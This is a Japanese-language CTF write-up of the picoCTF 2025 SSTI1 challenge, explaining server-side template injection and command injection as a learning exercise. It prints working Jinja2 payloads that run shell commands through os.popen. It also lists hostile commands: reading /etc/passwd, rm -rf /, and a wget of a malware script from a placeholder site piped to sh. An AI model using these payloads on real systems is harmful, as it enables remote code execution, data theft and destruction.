Closed14
picoCTF2025 SSTI1 を解く

サイトからFlagを取得するためになにをすべきなのか?
form要素があり、<script>console.log()</script>
と入力してみたらJSが動作した。

formにプログラムを直接挿入でき、遷移先のページで指定したプログラムを動作させられる。

しかしflagがどこに格納されているのかわからないため、例えばconsole.logで出力させようにも分からない。ヒントにはServer Side Template Injectionとあるが、ちんぷんかんぷん。

開発者ツールの「ネットワーク」にはいくつかのJSファイルを受け取っているが、関係があるのかは不明。

Server Side Template Injection で調べる

Server Side Template Injection (SSTI)
テンプレートエンジンがユーザー入力を適切に処理せずにテンプレートに埋め込んでしまうことで、
サーバー側で任意のコードが実行される脆弱性のこと。
例えばテンプレート構文{{ 7 * 7 }}
をformに入力したとき、計算結果49が表示されると脆弱性があるとわかる。JSのscriptタグが動作したのも適切にユーザー入力を処理していないということか。

攻撃者目線で表示させたい内容は、
- コマンド実行の結果
- 機密情報
- ファイルの中身
- ファイルやディレクトリのパス情報
- 動作しているプログラムのオブジェクト探索結果
- アプリケーションの設定やルーティング

機密情報
- {{ config }}
- {{ cycler }}

結局どう解くかわからなかったのでwriteupやAIなどを読んでみて解決した。
- SSTIとわかったら使用されているテンプレートエンジンを特定する
- {{ }} → Jinja2, Twig, Django, Handlebarsなど
- <%= %> → EJS, ERB
- ${} → Freemarker, Velocity
- 詳しくは:https://portswigger.net/web-security/server-side-template-injection

- Jinja2であるとわかったので、サーバー上で任意のコマンドを実行してみる
- whoamiコマンドでユーザー名を取得したい
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen(‘whoami’).read() }}
- コマンドインジェクションに脆弱であると確認できたため、色々試してみる
- lsコマンドでファイルを検索
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen(' ls ').read() }}
- flagが記入されてそうなファイルがあったため、catで表示する
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen(' cat flag ').read() }}
- flag表示で解決。

今回の解決ステップをまとめると、
- 脆弱性を特定する
- 使用されている技術を特定する
- Jinja2でのSSTIであったため、サーバー内でコマンドが実行できるか確認する
- コマンドが実行できると確認できたため、サーバー内を探索

詰まったポイント
- SSTIの存在を知らなかったので任意のJSプログラムを実行させることで解決すると思っていた
- SSTIだとわかり{{ config }}などの情報を出力したが手がかりにならなかった
- サイト上のデータを出力させることにこだわりサーバー内の情報には意識が向かなかった
- というよりコマンドインジェクション理解してない

コマンドインジェクション
攻撃者がアプリケーションを通じてOSのシェルコマンドを不正に実行させる脆弱性のこと。
危険なコマンド
whoami
cat /etc/passwd
rm -rf /
wget http://やばいサイト/マルウェア.sh | sh

コマンドインジェクションの兆候
-
; ls
: コマンドを連結する -
&& whoami
: ANDで後続のコマンドを実行 -
$(whoami)
: コマンド置換 -
'whoami'
: バッククオートによる実行
発生しやすいケース
- exec, system, popen などを使っているアプリ
- ユーザー入力が そのままOSコマンドに組み込まれる
- サニタイズ(無害化)やエスケープが不十分
このスクラップは20日前にクローズされました